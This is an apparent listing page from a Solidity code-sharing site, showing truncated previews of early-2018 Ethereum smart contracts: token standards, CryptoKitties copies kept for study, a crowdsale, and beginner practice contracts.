    /// @notice send `_value` token to `_to` from `msg.sender`
    /// @param _to The address of the recipient
    /// @param _value The amount of token to be transferred
    /// @return Whether the transfer was successful or not
    function transfer(address _to, uint256 _value) returns (bool success) {}

    /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
    /// @param _from The address of the sender
    /// @param _to The address of the recipient
    /// @param _value The amount of token to be transferred
    /// @return Whether the transfer was successful or not
    function transferFrom(address _from, address _to, uint256 _value) ret
Feb 08, 2018 23:16:53 UTC
// Contract address: 0xA97fF44CFf7101FaC76aF172F088f400F28cb4E9
// Contract name: CollectibleToken
// Etherscan link: https://etherscan.io/address/0xA97fF44CFf7101FaC76aF172F088f400F28cb4E9#code
pragma solidity ^0.4.18; // solhint-disable-line



/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
contract ERC721 {
  // Required methods
  function approve(address _to, uint256 _tokenId) public;
  function balanceOf(address _owner) public view returns (uint256 balance);
  function implementsERC721() public pure returns (bool);
  function ownerOf(uint256 _tokenId) public view returns (address addr);
  function takeOwnership(uint256 _tokenId) public;
  function transferFrom(address _from, address _to, uint256 _tokenId) public;
  function transfer(address _to, uint256 _tokenId) public;
  uint256 public totalSupply;

  event Transfer(address indexed from, address indexed to, uint256 tokenId);
  event Approval(address indexed owner, address indexed approved, uint256 tokenId
Feb 08, 2018 22:08:15 UTC
pragma solidity ^0.4.0;


contract TimeClock{
    
    uint employee_count = 0;
    bytes32[] employees;

    //TODO ADD EVENTS

    
    
    struct Employee {
        uint id;
        string name;
        bool clocked_in;
        uint[] time_stamps;
    }
    
    mapping(uint=>string) id_to_name;
    mapping (uint => Employee) Employees;
    mapping (string => bool) Employee_exists;
    
    function get_employee_count() public constant returns(uint){
        return employee_count;
    }
    
    function get_employee(uint _id) public view returns (uint, string, bool, uint[]){
        return (Employees[_id].id, Employees[_id].name, Employees[_id].clocked_in, Employees[_id].time_stamps);
        
    }
    
    function does_employee_exist(string _name) public constant returns (bool){
        return Employee_exists[_name];
    }
    
    function add_employee(string _name) public returns(uint){
        bool flag = Employee_exists[_name];
        require(!flag);
        Employee_exists[_name] = true;
       
Feb 08, 2018 19:03:24 UTC
// Contract address: 0xf2e449491975e376342586dd1229da20c969a39d
// Contract name: CrisCoin
// Etherscan link: https://etherscan.io/address/0xf2e449491975e376342586dd1229da20c969a39d#code
contract Token {

    /// @return total amount of tokens
    function totalSupply() constant returns (uint256 supply) {}

    /// @param _owner The address from which the balance will be retrieved
    /// @return The balance
    function balanceOf(address _owner) constant returns (uint256 balance) {}

    /// @notice send `_value` token to `_to` from `msg.sender`
    /// @param _to The address of the recipient
    /// @param _value The amount of token to be transferred
    /// @return Whether the transfer was successful or not
    function transfer(address _to, uint256 _value) returns (bool success) {}

    /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
    /// @param _from The address of the sender
    /// @param _to The address of the recipient
    /// @par
Feb 08, 2018 18:20:16 UTC
// Contract address: 0x275b69aa7c8c1d648a0557656bce1c286e69a29d
// Contract name: Enumivo
// Etherscan link: https://etherscan.io/address/0x275b69aa7c8c1d648a0557656bce1c286e69a29d#code
pragma solidity ^0.4.19;

library SafeMath {
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a / b;
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract ForeignToken {
    function balanceOf(address _owner) constant public returns (uint256);
    function transfer(address _to, uint256 _value) public returns (bool);
}

contract ERC20Basic {
    uint256 public totalSupply;
    function balanceOf
Feb 08, 2018 11:48:16 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.19;

contract Ownable{
  address public owner;

  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() public {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0));
    OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }
}

contract AccessControl is Ownable{
  address public ceoAddress;
  address public cfoAddress;
  address public cooAddress;

Feb 08, 2018 11:28:45 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Feb 08, 2018 10:58:36 UTC
pragma solidity ^0.4.19;

contract ContentService {

  struct Content {
    address contentOwner;
    string title;
    uint views;
    uint pool;
    uint viewFee;
  }

  Content[] public contents;

  mapping(address => mapping(uint => bool)) existingViews;
  mapping(address => bool) existingViewers;

  mapping(address => uint) public balanceOf;

  event NewContent(uint _contentId, address _contentOwner, string _title, uint _views, uint _pool, uint _viewFee);
  event IncreasedView(uint _contentId, address _viewerAddress, uint _views);
  event Transfered(address _from, address _to, uint _value);

  /* modifiers */
  modifier viewerExists() {
    require(_isViewerExists(msg.sender));
    _;
  }
  
  modifier notYetViewed(uint _contentId) {
    require(!_alreadyViewedContent(_contentId, msg.sender));
    _;
  }

  function ContentService() public { }

  function addContent() public {
    Content memory content = Content({
      contentOwner: msg.sender,
      title: "Return of the Test Title",
      views: 0,
 
Feb 08, 2018 10:52:44 UTC
pragma solidity ^0.4.19;

contract ContentService {

  struct Content {
    address contentOwner;
    string title;
    uint views;
    uint pool;
    uint viewFee;
  }

  Content[] public contents;

  mapping(address => mapping(uint => bool)) existingViews;
  mapping(address => bool) existingViewers;

  mapping(address => uint) public balanceOf;

  event NewContent(uint _contentId, address _contentOwner, string _title, uint _views, uint _pool, uint _viewFee);
  event IncreasedView(uint _contentId, address _viewerAddress, uint _views);
  event Transfered(address _from, address _to, uint _value);

  /* modifiers */
  modifier viewerExists() {
    require(_isViewerExists(msg.sender));
    _;
  }
  
  modifier notYetViewed(uint _contentId) {
    require(!_alreadyViewedContent(_contentId, msg.sender));
    _;
  }

  function ContentService() public { }

  function addContent() public {
    Content memory content = Content({
      contentOwner: msg.sender,
      title: "Return of the Test Title",
      views: 0,
 
Feb 08, 2018 10:51:58 UTC
pragma solidity ^0.4.18;

contract MiningMachineToken {
    string public _name="MiningMachineToken";
    string public _symbol = "MMT";
    string public _date = "1975-04-05";

    address _owner;
    uint256 _totalSupply;
    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private allowed;

    function MiningMachineToken(string name, string symbol, string date, uint quantity) public {
        _name = name;
        _symbol = symbol;
        _date = date;
        _owner = msg.sender;
        _totalSupply = quantity;
        balances[msg.sender] = quantity;
    }

    event Transfer(address indexed from, address indexed to, uint tokens);
    event Approval(address indexed tokenOwner, address indexed spender, uint tokens);

    function totalSupply() public constant returns (uint supply) {
        return _totalSupply;
    }

    function balanceOf(address tokenOwner) public constant returns (uint balance){
        return balances[tokenOwner];
    }

    functio
Feb 08, 2018 02:03:19 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.19;

contract AccessControl{
  address public ceoAddress;
  address public cfoAddress;
  address public cooAddress;

  bool public paused = false;

  modifier onlyCEO(){
    require(msg.sender == ceoAddress);
    _;
  }

  modifier onlyCFO(){
    require(msg.sender == cfoAddress);
    _;
  }

  modifier onlyCOO() {
    require(msg.sender == cooAddress);
    _;
  }

  modifier onlyCLevel(){
    require(
      msg.sender == cooAddress ||
      msg.sender == ceoAddress ||
      msg.sender == cfoAddress
    );
    _;
  }
  
  function setCFO(address _newCFO) external onlyCEO {
    require(_newCFO != address(0));
    cfoAddress = _newCFO;
  }

  function setCOO(address _newCOO) external onlyCEO {
    require(_newCOO != address(0));
    cooAddress = _newCOO;
  }

  function setCEO(address _newCEO) external onlyCEO{
    require(_newCEO != address(0));
    ceoAddress = _newCEO;
  }

  modifier whenNotPaused(){
Feb 08, 2018 01:17:13 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.19;

contract AccessControl{
  address public ceoAddress;
  address public cfoAddress;
  address public cooAddress;

  bool public paused = false;

  modifier onlyCEO(){
    require(msg.sender == ceoAddress);
    _;
  }

  modifier onlyCFO(){
    require(msg.sender == cfoAddress);
    _;
  }

  modifier onlyCOO() {
    require(msg.sender == cooAddress);
    _;
  }

  modifier onlyCLevel(){
    require(
      msg.sender == cooAddress ||
      msg.sender == ceoAddress ||
      msg.sender == cfoAddress
    );
    _;
  }
  
  function setCFO(address _newCFO) external onlyCEO {
    require(_newCFO != address(0));
    cfoAddress = _newCFO;
  }

  function setCOO(address _newCOO) external onlyCEO {
    require(_newCOO != address(0));
    cooAddress = _newCOO;
  }

  function setCEO(address _newCEO) external onlyCEO{
    require(_newCEO != address(0));
    ceoAddress = _newCEO;
  }

  modifier whenNotPaused(){
Feb 07, 2018 22:54:52 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.19;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value + 1;
  }

  uint value;
Feb 07, 2018 18:09:50 UTC
pragma solidity ^0.4.17;

contract ProposalContract {
    address private owner;

    struct Proposal {
        address to;
        uint256 amount; 
        string description;
        string companyName;
        address proposalOwner;
        string link;
        string company_dh_public;
        string user_dh_public;
        string communication_id;
    }
    
    struct ApprovedCompany {
        address company_wallet;
        string description;
        string companyName;
    }

    Proposal[] public proposals;
    ApprovedCompany[] public approved;
    
    int256 public proposalCount = -1;
    int256 public approvalCount = -1;

     modifier ownerOnly() {
        require(owner == msg.sender);
        _;
    }

    function ProposalContract () public {
        owner = msg.sender;
    }

    function deleteProposal (uint256 _proposalPosition) public {
        for (uint i = 0; i < proposals.length; i++) {
            if (msg.sender == proposals[_proposalPosition].proposalOwner || msg.sender == owner) {
 
Feb 07, 2018 18:07:17 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }
fadsfdsfdsafsdf
  uint value;
Feb 07, 2018 15:47:08 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }
fadsfdsf
  uint value;
Feb 07, 2018 15:46:53 UTC
pragma solidity ^0.4.18; // solhint-disable-line

/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <[email protected]> (https://github.com/dete)
contract ERC721 {
  // Required methods
  function approve(address _to, uint256 _tokenId) public;
  function balanceOf(address _owner) public view returns (uint256 balance);
  function implementsERC721() public pure returns (bool);
  function ownerOf(uint256 _tokenId) public view returns (address addr);
  function takeOwnership(uint256 _tokenId) public;
  function totalSupply() public view returns (uint256 total);
  function transferFrom(address _from, address _to, uint256 _tokenId) public;
  function transfer(address _to, uint256 _tokenId) public;

  event Transfer(address indexed from, address indexed to, uint256 tokenId);
  event Approval(address indexed owner, address indexed approved, uint256 tokenId);

  // Optional
  // function name() public view returns (string name);
  // function symbol() public view r
Feb 07, 2018 06:12:55 UTC
// CryptoKitties Source code
// Copied from: https://etherscan.io/address/0x06012c8cf97bead5deae237070f9587f8e7a266d#code

pragma solidity ^0.4.11;

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contract
Feb 07, 2018 03:54:31 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Feb 07, 2018 02:19:27 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Feb 07, 2018 01:01:41 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

  struct Quadrant {
    uint256 value;
  }

  struct QuadrantCollection {
    uint256[] quadIds;
  }

  mapping (address => QuadrantCollection) quadCollection;
  mapping (uint256 => Quadrant) quadrants;

  uint256[] ids;

  function buyQuadrant(uint256 id, uint256 value) public {
    Quadrant memory newQuad;
    newQuad.value = value;
    quadrants[id] = newQuad;
    ids.push(id);
    quadCollection[msg.sender].quadIds.push(id);
  }

  function getQuadrant(uint256 id) public view returns (uint256 quadVal) {
    quadVal = quadrants[id].value;
    return quadVal;
  }
Feb 06, 2018 18:20:12 UTC
pragma solidity ^0.4.19;

contract Onwable {
    address owner;

    function Onwable() public {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
}

contract Reputable is Onwable {
    uint constant REPUTATION_FEE = 10000 wei;
    uint constant REPUTATION_REFUND = 10000 wei;
    
    struct Product {
        string name;
        string domain;
        uint16 downVotes;
        uint16 upVotes;
        uint donatedValue;
        bool closed;
        bool exists;
    }
    
    struct Voter {
        uint refundableBalance;
    }

    Product[] public products;
    Voter[] public voters;
    uint addingFee;
    
    mapping(address => uint) voterIdByAddress;
    mapping(uint => uint[]) downVoters; // productId => VoterId[]
    mapping(uint => uint[]) upVoters;   // productId => VoterId[]
    
    modifier includeAddingFee() {
        require(msg.value >= REPUTATION_FEE);
        _;
    }
    
    modifier includeVoteFee() {
        require(msg.v
Feb 06, 2018 17:27:21 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

/*  Basic Array Play 1 - just practicing some simple stuff

Enter a bunch of names, in quotes,hitting setNames after each
Get a count or recall a specific one by entering a number starting with 
1 for the first. (I know arrays start at 0, I jig'd it )
*/

contract ArrayTest {
    
    string[] internal names;

    function setNames(string Names) public {
       
        names.push(Names) -1;

    }
    

    function getNamesPerOrder(uint who) view public returns(string) {
        who = who -1;
        return names[who];
    }
    
     function HowManySoFar(string hitMe) view public returns(uint) {
        hitMe = hitMe;
        return names.length;
        

    }
    
    // hitMe is a placeholder to hold button interactive. I ignore yellow warning
    
Feb 06, 2018 16:00:01 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract RockPaperScissors {

  enum RPS {
    Rock,
    Paper,
    Scissors
  }

  //mapping (address => RPS) choices;
  RPS[] choices = new RPS[](2);
  address[] addresses = new address[](2);

  function setChoice(address player) public {
    choices.push(RPS.Scissors);
    addresses.push(player);
  }

  // test
  function getChoices() public view returns (RPS) {
    return RPS.Scissors;
  }
Feb 06, 2018 15:29:16 UTC
pragma solidity ^0.4.17;
contract IssueTokens {
    uint public totalSupply;
    string public name;
    string public symbol;
    uint public decimals;
    address private owner;
    mapping (address => uint) allowed;

    function IssueTokens(uint _amount, string _name, string _symbol, uint _decimals) public  {
        owner = msg.sender;
        totalSupply = _amount;
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
    }

    modifier ownerOnly() {
        require(owner == msg.sender);
        _;
    }

    event EtherDeposit(uint indexed _deposited);
    event Approval(address indexed _spender, uint256 _value);
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Suicide(address indexed _contract, uint indexed _sentAmount);
    event Burnt(uint indexed _burnt, uint indexed _totalSupply);

    function () public ownerOnly payable {
        EtherDeposit(msg.value);
    }

    function balanceOf(address _owner) public view returns (uint balance)
Feb 06, 2018 14:52:00 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Feb 06, 2018 11:52:58 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public returns (uint) {
    value = value + 1;
    return value;
  }

  uint value;
Feb 06, 2018 11:13:33 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

  struct game {
    address player1;
    address player2;
    uint[][] board;
  }
Feb 06, 2018 10:22:36 UTC
pragma solidity ^0.4.18;

import "./SOL.sol";


contract Crowdsale is SOL{
    mapping(address => bool) whiteList;
    uint public remainedBountyTokens;
    uint priceEthUSD = 85000;// в центах 
    uint startTime;
    uint currentStage = 0;
    uint preIcoEndStage;
    struct Stage {
        uint startTime;
        uint endTime;
        uint price;
        uint remainedTokens;
    }
    Stage[8] private stages;
    uint public softCap;// general
    bool public outOfTokens = false;
    
    function () public payable{
        require(msg.value > 0);
        require(!outOfTokens);
        require(isInWhiteList(msg.sender));
        require(stages[7].endTime > now);
        require(now <= stages[preIcoEndStage].endTime || now >= stages[preIcoEndStage+1].startTime);//time between PreICO and ICO
        updateCurrentStage();
        if (currentStage <= preIcoEndStage) updateBalancesPreICO(msg.value);
        else updateBalancesICO(msg.value);
    }
    
    function calculateTokenPrice(uint centPrice) int
Feb 06, 2018 09:02:12 UTC
pragma solidity ^0.4.18;

import "./SOL.sol";


contract Crowdsale is SOL{
    mapping(address => bool) whiteList;
    uint public remainedBountyTokens;
    uint priceEthUSD = 85000;// в центах 
    uint startTime;
    uint currentStage = 0;
    uint preIcoEndStage;
    struct Stage {
        uint startTime;
        uint endTime;
        uint price;
        uint remainedTokens;
    }
    Stage[8] private stages;
    uint public softCap;// general
    bool public outOfTokens = false;
    
    function () public payable{
        require(msg.value > 0);
        require(!outOfTokens);
        require(isInWhiteList(msg.sender));
        require(stages[7].endTime > now);
        require(now <= stages[preIcoEndStage].endTime || now >= stages[preIcoEndStage+1].startTime);//time between PreICO and ICO
        updateCurrentStage();
        if (currentStage <= preIcoEndStage) updateBalancesPreICO(msg.value);
        else updateBalancesICO(msg.value);
    }
    
    function calculateTokenPrice(uint centPrice) int
Feb 06, 2018 09:01:30 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;


/*     A test of Button Visibilities
    Same function with 4  different types
   1 Public, 2 Private, 3 Internal, 4 External
   
Note that Remix only gives you 2 buttons - 1 and 4
Let's see what EthFiddle does!
It's magic!     
 */ 
 
contract WhatDoYouSee {
    
//--------------------------------------------------Public
function Check1(string hitme) public pure  returns (string) {
    return hitme;
}
//--------------------------------------------------Private
function Check2(string hitme) private pure returns (string) {
    return hitme;
}
//--------------------------------------------------Internal
function Check3(string hitme) internal pure returns (string) {
    return hitme;
}
//--------------------------------------------------External
function Check4(string hitme) external pure returns (string) {
    return hitme;
}
Feb 05, 2018 21:56:52 UTC
// MapAdv Source code
pragma solidity ^0.4.18;



//////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////
// контракт для определения прав владения
contract Ownable {

   address public owner;

   // выполняется при деплое
   function Ownable() public {
      owner = msg.sender;
   }

   // только владелец
   modifier onlyOwner() {
      require(msg.sender == owner);
      _;
   }

   // уничтожить контракт
   function kill() public onlyOwner {
      selfdestruct(owner);
   }

   // передать владение контрактом другому лицу
   function transferOwnership(address newOwner) public onlyOwner {
      if (newOwner != address(0)) {
         owner = newOwner;
      }
   }

}


//////////////////////////////////////////////////////////////
///////////////////////////
Feb 05, 2018 19:25:43 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Feb 05, 2018 17:39:00 UTC
// Contract address: 0x0be8d3261cd699fc5ae124b3f8d38d568fd461b5
// Contract name: Etx
// Etherscan link: https://etherscan.io/address/0x0be8d3261cd699fc5ae124b3f8d38d568fd461b5#code
pragma solidity ^0.4.19;


// ----------------------------------------------------------------------------------------------
// Derived from: Sample fixed supply token contract
// Enjoy. (c) BokkyPooBah 2017. The MIT Licence.
// (c) Ethex LLC 2017.
// ----------------------------------------------------------------------------------------------

// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/issues/20
contract ERC20Interface {
     function totalSupply() public constant returns (uint);
     function balanceOf(address tokenOwner) public constant returns (uint balance);
     function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
     function transfer(address to, uint tokens) public returns (bool success);
     function approve(address spender, uint 
Feb 05, 2018 17:16:13 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract WillThrow {
  function () public payable {
    revert();
  }
}

contract Transfer {
  
  WillThrow public target;

  function Transfer(address contractAddress) public {
    target = WillThrow(contractAddress);
  }
  
  function forward() external payable {
    target.transfer(msg.value);
  }
Feb 05, 2018 16:44:58 UTC
pragma solidity ^0.4.11;

// My Custom Token Implementation according ERC20 specs
contract exeyERC20Token {

  string public constant symbol = "EXEY";
  string public constant name = "Exey Panteleev's Test Token";
  uint256 public _totalSupply;
  uint8 public constant decimals = 18;
  mapping (address => uint256) public balances;
  mapping (address => mapping (address => uint256)) allowed;

  function exeyERC20Token(uint256 _supply) {
    balances[msg.sender] = _supply;
    _totalSupply = _supply;
  }

  function totalSupply() constant returns (uint256) {
    return _totalSupply;
  }
  
  function balanceOf(address _owner) constant returns (uint256 balance) {
    return balances[_owner];
  }

  function transfer(address _to, uint256 _value) returns (bool success) {
    require(balances[msg.sender] >= _value);
    require(balances[_to] + _value >= balances[_to]);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    Transfer(msg.sender, _to, _value);
    return true;
  }

  function transferFrom
Feb 05, 2018 15:31:02 UTC
pragma solidity ^0.4.0;

contract ArrayDelete2 {
    uint8[] myArray;
    
    function addArrayItem(uint8 _someUint) public {
        myArray.push(_someUint);
    }
    
    function removeByIndex(uint8 _index) public {
        delete myArray[_index];
    }
    
    function getArrayItems() public view returns (uint8[]) {
        uint8[] memory items = new uint8[](countValids());
        uint8 counter = 0;
        for (uint8 i = 0; i < myArray.length; i++) {
            if (myArray[i] > 0) {
                items[counter] = myArray[i];
                counter++;
            }
        }

        return items;
    }
    
    function countValids() private view returns (uint8) {
        uint8 counter = 0;
        for (uint8 i = 0; i < myArray.length; i++) {
            if (myArray[i] > 0) {
                counter++;
            }
        }

        return counter;
    }
Feb 05, 2018 15:29:47 UTC
pragma solidity ^0.4.11;

// My Custom Token Implementation according ERC20 specs
contract exeyERC20Token {

  string public constant symbol = "EXEY";
  string public constant name = "Exey Panteleev's Test Token";
  uint256 public _totalSupply;
  uint8 public constant decimals = 18;
  mapping (address => uint256) public balances;
  mapping (address => mapping (address => uint256)) allowed;

  function exeyERC20Token(uint256 _supply) {
    balances[msg.sender] = _supply;
    _totalSupply = _supply;
  }

  function totalSupply() constant returns (uint256 theTotalSupply) {
    theTotalSupply = _totalSupply;
    return theTotalSupply;
  }
  
  function balanceOf(address _owner) constant returns (uint256 balance) {
    return balances[_owner];
  }

  function transfer(address _to, uint256 _value) returns (bool success) {
    require(balances[msg.sender] >= _value);
    require(balances[_to] + _value >= balances[_to]);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    Transfer(msg.sender, _to, _v
Feb 05, 2018 15:28:40 UTC
pragma solidity ^0.4.19;

contract ArrayDelete {
    struct ArrayItem {
        uint8 someUint;
        bool valid;
    }
    
    ArrayItem[] myArray;
    
    function addArrayItem(uint8 _someUint) public {
        myArray.push(ArrayItem(_someUint, true));
    }
    
    function removeByIndex(uint8 _index) public {
        myArray[_index].valid = false;
    }
    
    function deleteByIndex(uint8 _index) public{
        delete myArray[_index];
    }
    
    function countValids() private returns (uint8) {
        uint8 counter = 0;
        for (uint8 i = 0; i < myArray.length; i++) {
            if (myArray[i].valid) {
                counter++;
            }
        }

        return counter;
    }
    
    function getArrayItems() public view returns (uint8[]) {
        uint8[] memory items = new uint8[](countValids());
        uint8 counter = 0;
        for (uint8 i = 0; i < myArray.length; i++) {
            if (myArray[i].valid) {
                items[counter] = myArray[i].someUint;
                
Feb 05, 2018 15:07:25 UTC
pragma solidity ^0.4.11;

// My Custom Token Implementation according ERC20 specs
contract exeyERC20Token {

  string public constant symbol = "EXEY";
  string public constant name = "Exey Panteleev's Test Token";
  uint256 public _totalSupply;
  uint8 public constant decimals = 18;
  mapping (address => uint256) public balances;
  mapping (address => mapping (address => uint256)) allowed;

  function exeyERC20Token(uint256 _supply) {
    balances[msg.sender] = _supply;
    _totalSupply = _supply;
  }

  function totalSupply() constant returns (uint256 totalSupply){
    return _totalSupply;
  }
  
  function balanceOf(address _owner) constant returns (uint256 balance) {
    return balances[_owner];
  }

  function transfer(address _to, uint256 _value) returns (bool success) {
    require(balances[msg.sender] >= _value);
    require(balances[_to] + _value >= balances[_to]);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    Transfer(msg.sender, _to, _value);
    return true;
  }

  function t
Feb 05, 2018 15:05:49 UTC
pragma solidity ^0.4.11;

// My Custom Token Implementation according ERC20 specs
contract exeyERC20Token {

  string public constant symbol = "EXEY";
  string public constant name = "Exey Panteleev's Test Token";
  uint256 public _totalSupply;
  uint8 public constant decimals = 18;
  mapping (address => uint256) public balances;
  mapping (address => mapping (address => uint256)) allowed;

  function exeyERC20Token(uint256 _supply) {
    balances[msg.sender] = _supply;
    _totalSupply = _supply;
  }

  function totalSupply() constant returns (uint256 totalSupply){
    return _totalSupply;
  }
  
  function balanceOf(address _owner) constant returns (uint256 balance) {
    return balances[_owner];
  }

  function transfer(address _to, uint256 _value) returns (bool success) {
    require(balances[msg.sender] >= _value);
    require(balances[_to] + _value >= balances[_to]);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    Transfer(msg.sender, _to, _value);
    return true;
  }

  function t
Feb 05, 2018 15:05:08 UTC
pragma solidity ^0.4.11;

// My Custom Token Implementation according ERC20 specs
contract exeyERC20Token {

  string public constant symbol = "EXEY";
  string public constant name = "Exey Panteleev's Test Token";
  uint256 public _totalSupply;
  uint8 public constant decimals = 18;
  mapping (address => uint256) public balances;
  mapping (address => mapping (address => uint256)) allowed;

  function exeyERC20Token(uint256 _supply) {
    balances[msg.sender] = _supply;
    _totalSupply = _supply;
  }

  function totalSupply() constant returns (uint256 totalSupply){
    return _totalSupply;
  }
  
  function balanceOf(address _owner) constant returns (uint256 balance) {
    return balances[_owner];
  }

  function transfer(address _to, uint256 _value) returns (bool success) {
    require(balances[msg.sender] >= _value);
    require(balances[_to] + _value >= balances[_to]);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    Transfer(msg.sender, _to, _value);
    return true;
  }

  function t
Feb 05, 2018 14:44:44 UTC
pragma solidity ^0.4.19;

contract ArrayDelete {
    struct ArrayItem {
        uint8 someUint;
        bool valid;
    }
    
    ArrayItem[] myArray;
    
    function addArrayItem(uint8 _someUint) public {
        myArray.push(ArrayItem(_someUint, true));
    }
    
    function removeByIndex(uint8 _index) public {
        myArray[_index].valid = false;
    }
    
    function countValids() private returns (uint8) {
        uint8 counter = 0;
        for (uint8 i = 0; i < myArray.length; i++) {
            if (myArray[i].valid) {
                counter++;
            }
        }

        return counter;
    }
    
    function getArrayItems() public view returns (uint8[]) {
        uint8[] memory items = new uint8[](countValids());
        uint8 counter = 0;
        for (uint8 i = 0; i < myArray.length; i++) {
            if (myArray[i].valid) {
                items[counter] = myArray[i].someUint;
                counter++;
            }
        }

        return items;
    }
Feb 05, 2018 14:42:06 UTC
pragma solidity ^0.4.11;

// My Custom Token Implementation according ERC20 specs
contract exeyERC20Token {

  mapping (address => uint256) public balances;
  uint public _totalSupply;

  function exeyERC20Token(uint256 _supply) {
    balances[msg.sender] = _supply;
    _totalSupply = _supply;
  }

  function totalSupply() constant returns (uint256 totalSupply){
    return _totalSupply;
  }
  
  function balanceOf(address _owner) constant returns (uint256 balance) {
    return balances[_owner];
  }

  function transfer(address _to, uint256 _value) returns (bool success) {
    require(balances[msg.sender] >= _value);
    require(balances[_to] + _value >= balances[_to]);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
  function approve(address _spender, uint256 _value) returns (bool success);
  function allowance(address _owner, address _spender) constant returns (uint256 remaining
Feb 05, 2018 14:31:25 UTC
// CryptoKitties Source code
// Copied from: https://etherscan.io/address/0x06012c8cf97bead5deae237070f9587f8e7a266d#code
// for study

pragma solidity ^0.4.11;

/**
 * 权限控制
 */
contract Ownable {
  address public owner;

